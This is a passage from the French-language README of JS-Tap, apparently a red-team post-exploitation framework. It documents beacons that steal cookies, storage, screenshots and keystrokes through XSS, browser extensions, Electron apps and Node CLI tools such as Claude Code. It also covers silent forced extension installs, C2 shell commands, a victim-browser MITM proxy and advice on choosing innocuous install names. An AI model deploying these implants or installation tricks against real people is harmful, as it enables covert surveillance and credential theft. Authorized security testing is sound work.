Packed Chrome extension │ ├── extension.xpi # Packed Firefox extension │ ├── sidecar/ # Sidecar binaries + manifests │ └── deploy/ # Self-contained deploy bundles (.tar.gz/.zip) └── tools/ # Testing utilities ├── clientSimulator.py # Async client simulator (argparse-based) ├── monkeyPatchApp/ # XHR/Fetch monkeypatch test app │ └── monkeyPatchLab.py ├── defconApp/ # XHR test app (defcon level changer) │ └── defconServer.py ├── spaTestApp/ # SPA test app for Fetch API testing │ └── spaServer.py ├── formParser.py # (Legacy) HTML form parser └── generateIntelReport.py # (Legacy) PDF report generator
## Outils
Quelques outils sont inclus dans le sous-répertoire tools.
### clientSimulator.py
Un simulateur de client asynchrone qui crée 12 faux clients diversifiés (diverses combinaisons OS/navigateur), les enregistre auprès du serveur, envoie des données de butin réalistes et interroge pour des tâches de payload personnalisées. Utile pour tester les règles de ciblage, le filtrage de correspondance, le comportement d'exécution/répétition automatique et la livraison de payload personnalisée.```bash
python3 tools/clientSimulator.py
Options:``` --server URL JS-Tap server URL (default: https://127.0.0.1:8444) --loot-rounds N Rounds of fake loot per client (default: 2, 0 = continuous) --poll-interval N Seconds between payload polls (default: 3) --no-loot Register and poll only, skip sending fake loot
JS-Tap exécuté avec gunicorn se met à l'échelle assez bien.
### MonkeyPatchApp
Une application simple utilisée pour tester le monkeypatching XHR/Fetch, mais peut également vous fournir une application simple pour tester la charge utile en général.
Exécutez avec :```bash
python3 tools/monkeyPatchApp/monkeyPatchLab.py
Par défaut, cela démarre l'application sur :``` https://127.0.0.1:8443
Appuyer sur le bouton "Inject JS-Tap payload" exécutera la charge utile DOM Beacon. Cela fonctionne aussi bien en mode implant qu'en mode piège. Vous devrez peut-être pointer l'application monkeyPatchLab vers un nouvel emplacement de serveur JS-Tap pour charger le fichier de charge utile, vous pouvez trouver ce réglage dans la fonction **injectPayload()** dans **main.js**```
function injectPayload()
{
document.head.appendChild(Object.assign(document.createElement('script'),
{src:'https://127.0.0.1:8444/lib/telemlib.js',type:'text/javascript'}));
}
Une autre application simple similaire à MonkeyPatchApp, cependant les appels API XHR dans cette application provoquent un changement visible dans l'application (modification du niveau « defcon »).
Elle dispose également d'un bouton Inject JS-Tap payload qui simule une exploitation XSS. Tout le code est inclus dans le fichier defconServer.py, y compris le JavaScript et le HTML.
Cette application est un bon test pour générer automatiquement des payloads à partir d'appels réseau XHR interceptés.```bash python3 tools/defconApp/defconServer.py
### SpaTestApp
Une application monopage (SPA) de test qui utilise des appels API Fetch pour des opérations CRUD. Utile pour tester le monkeypatching des SPA basées sur Fetch et la génération automatique de payloads mimic à partir d'appels API interceptés.```bash
python3 tools/spaTestApp/spaServer.py
Outil hérité pour analyser les formulaires HTML et extraire leurs paramètres. A été remplacé par la fonctionnalité mimic qui génère automatiquement des payloads personnalisés.
Outil hérité, utilisé avant l'interface web de JS-Tap. Le script generateIntelReport parcourait le butin collecté et générait un rapport PDF. N'est plus fonctionnel — la plupart du butin est désormais stocké dans la base de données, à l'exception du code HTML exfiltré et des captures d'écran.
@hoodoer
[email protected]
| Type de balise | Ce que c'est | Comment il s'installe |
|---|
| DOM Beacon (telemlib.js) | Un payload JavaScript injecté dans une page web. Instrumente le DOM, capture l'activité de l'utilisateur, des captures d'écran, des appels réseaux. | Vulnérabilité XSS, ou directement ajouté aux fichiers JavaScript de l'application cible (post-exploitation). |
| BEX Beacon | Une extension de navigateur (Chrome MV3 / Firefox MV2). Surveille toute l'activité de navigation, capture les cookies (y compris httpOnly), localStorage, sessionStorage et les en-têtes de requêtes. Peut injecter des DOM Beacons dans des domaines spécifiques sur commande. | Installée dans le navigateur de la cible (ingénierie sociale, accès physique, politique de groupe, etc.). |
| Sidecar | Un binaire natif Go qui s'exécute sur le système d'exploitation de la cible. Fournit la navigation dans le système de fichiers, la lecture de fichiers et l'exécution de commandes. | Installé aux côtés du BEX Beacon via la messagerie native. Nécessite que le BEX Beacon relaie les commandes. |
| Atom Beacon | Un implant double couche pour les applications de bureau Electron. Injecte un agent de processus principal (runtime Node.js) + des payloads de rendu dans toutes les fenêtres de l'application. Combine la collecte de données au niveau du navigateur avec un accès OS au niveau hôte — aucun binaire séparé nécessaire. Prend en charge le mode proxy navigateur. | Patché dans l'archive ASAR de l'application Electron cible (ou le répertoire d'application décompressé) en utilisant atomize.py. |
| V8 Beacon | Un agent JavaScript pour les applications CLI Node.js et Bun (Gemini CLI, Claude Code, etc.). Intercepte tous les appels réseau HTTP/Fetch, capture les frappes clavier et fournit l'accès au système de fichiers et au shell. Prend en charge le mode proxy navigateur. Zéro dépendance. | Injecté via une variable d'environnement : NODE_OPTIONS="--require" (Node.js) ou BUN_OPTIONS="--preload" (Bun). Aucun patching d'application nécessaire. |
| Proxy Navigateur |
| Un proxy MITM sur le serveur JS-Tap qui achemine le trafic HTTP/HTTPS de l'opérateur via le navigateur (ou le processus Node.js) de la victime via WebSocket. Les requêtes sont récupérées depuis le contexte réseau de la victime, donc le site cible voit l'IP et l'empreinte TLS de la victime. Combinez avec un Ticket de Session pour une navigation authentifiée via le réseau de la victime. Supporté par les Beacons BEX, Atom et V8. Voir Proxy Navigateur ci-dessous. |
| JS-Tap Conductor | Une extension Firefox autonome qui importe les données de session capturées par le BEX Beacon (sous forme de "JS-Tap Ticket") et les rejoue localement — définissant les cookies, injectant les en-têtes, remplissant le stockage et usurpant le User-Agent — afin que l'opérateur puisse naviguer comme la victime. Voir JS-Tap Tickets & JS-Tap Conductor ci-dessous. |
V8 Beacon pour les outils CLI : Le V8 Beacon cible les applications CLI basées sur Node.js et Bun. Définissez une variable d'environnement (NODE_OPTIONS ou BUN_OPTIONS) et la balise se charge avant le code de l'application elle-même — aucun patching ou modification de l'application cible n'est nécessaire. Il monkey-patch http.request, https.request, fetch et http2.connect pour intercepter tout le trafic réseau, accroche process.stdin pour la capture des frappes clavier, et fournit la navigation dans les fichiers et l'exécution de shell via le canal C2. Les outils CLI qui créent des processus fils (par exemple Gemini CLI se crée lui-même comme fils pour la session interactive) sont gérés automatiquement — le fils hérite des clés de session du parent et partage le même client logique dans le portail. Le filtrage inter-exécution des sous-processus empêche les sous-processus utilitaires Node.js des applications Bun de s'enregistrer comme clients séparés.
Plugins pour les attaques spécifiques aux applications : Les clients Atom Beacon et V8 Beacon prennent en charge des plugins chargeables au runtime. Les plugins sont des modules JavaScript chargés depuis le portail JS-Tap qui étendent les capacités de la balise pour des applications cibles spécifiques (par exemple le plugin Mattermost). Les plugins ont accès aux API Node.js de la balise (fs, http, crypto, child_process), aux API Electron (pour les Atom Beacons), et à un canal d'exfiltration de données vers le serveur. Chaque plugin inclut un manifeste (manifest.json) déclarant ses applications cibles, capacités et paramètres configurables par l'opérateur, ainsi qu'un panneau UI optionnel (ui.html) affiché dans le portail.
| Navigateur | Méthode d'installation | Prérequis |
|---|
| Chrome/Chromium (Linux, avec .crx + ID statique) | Écrit une politique d'entreprise qui force l'installation de l'extension depuis un CRX local. Aucune interaction utilisateur requise — l'extension est installée silencieusement au prochain lancement. | sudo |
| Chrome/Chromium (macOS, avec .crx + ID statique) | Copie le .crx dans un répertoire système et écrit un JSON d'extension externe. L'utilisateur doit cliquer sur Conserver lorsque Chrome avertit à propos de l'extension. | sudo |
| Chrome/Chromium (sans .crx) | Copie l'extension décompressée dans un répertoire stable. Affiche les instructions pour le mode développeur de chrome://extensions. | Aucun |
| Chrome (Windows, avec .crx + ID statique) | Copie le .crx et écrit une entrée de registre pour l'installation d'extension externe. | Aucun (registre utilisateur) |
| Firefox (avec .xpi + ID d'extension) | Détecte automatiquement le profil Firefox par défaut et copie le .xpi dans le répertoire extensions/ du profil. Firefox invite l'utilisateur à activer au prochain lancement. | Aucun |
| Firefox (sans .xpi) | Copie l'extension décompressée dans un répertoire stable. Affiche les instructions pour about:debugging. | Aucun |
| Commande | Args | Description |
|---|
list_dir | { path: "/some/path" } | Liste le contenu d'un répertoire. Par défaut, le répertoire personnel de l'utilisateur si le chemin est vide. Retourne les noms, tailles, types et dates de modification des fichiers. |
read_file | { path: "/some/file", offset: 0, limit: 1048576 } | Lit le contenu d'un fichier (encodé en base64). Maximum 1 Mo par lecture. Prend en charge offset/limit pour les gros fichiers. |
exec_cmd | { command: "whoami", timeout: 30 } | Exécute une commande shell. Utilise /bin/sh -c sur Linux/macOS, cmd.exe /C sur Windows. Le timeout maximal est de 120 secondes. Retourne stdout, stderr et le code de sortie. |
v8--output PATH | Chemin du fichier de sortie (par défaut: ./v8-beacon.js) |
| Champ | Description |
|---|
name | Nom d'affichage de l'extension |
version | Version de l'extension (également utilisée dans le JSON d'extension externe .crx). Auto-incrémentée par buildAll.py à chaque construction. |
description | Description de l'extension affichée dans le navigateur |
install_dirname | Nom de répertoire utilisé par les scripts d'installation pour stocker les fichiers sur le système cible (par exemple /opt/<dirname>/ sous Linux, %LOCALAPPDATA%\<dirname> sous Windows). Également utilisé pour le nom du fichier de politique d'entreprise. Choisissez quelque chose d'inoffensif. Par défaut : jstap |
| Champ | Description |
|---|
chrome_key | Clé publique DER encodée en Base64. Injectée comme key dans le manifeste Chrome pour un ID d'extension déterministe. |
chrome_key_pem | Chemin vers le fichier de clé privée .pem (relatif à la racine du projet). Utilisé par le script de construction pour empaqueter les fichiers .crx. |
chrome_extension_id | L'ID d'extension Chrome de 32 caractères. Calculé automatiquement à partir de chrome_key si laissé vide. Utilisé dans les manifestes de messagerie native sidecar. |
firefox_extension_id | ID d'extension Firefox (par exemple bex-beacon@jstap). Injecté dans le manifeste Firefox sous browser_specific_settings.gecko.id. |
| Champ |
|---|
| Description |
|---|
base_interval | Intervalle de base en secondes entre les heartbeats. Par défaut : 60 pour la production, 5 pour le développement/les tests. |
jitter_percent | Pourcentage de gigue appliqué à l'intervalle de base. Une valeur de 30 signifie que chaque heartbeat se déclenchera à un moment aléatoire entre 70% et 130% de l'intervalle de base. Mettez 0 pour aucune gigue (utile pour le débogage). |
whitelist_enabled |
false = surveiller tous les domaines (mode all_domains). true = surveiller uniquement les domaines correspondant aux motifs de la liste blanche. |
whitelist | Tableau de motifs de correspondance d'URL. Motifs de correspondance standard d'extension de navigateur avec les caractères génériques *. Utilisé uniquement lorsque whitelist_enabled est true. |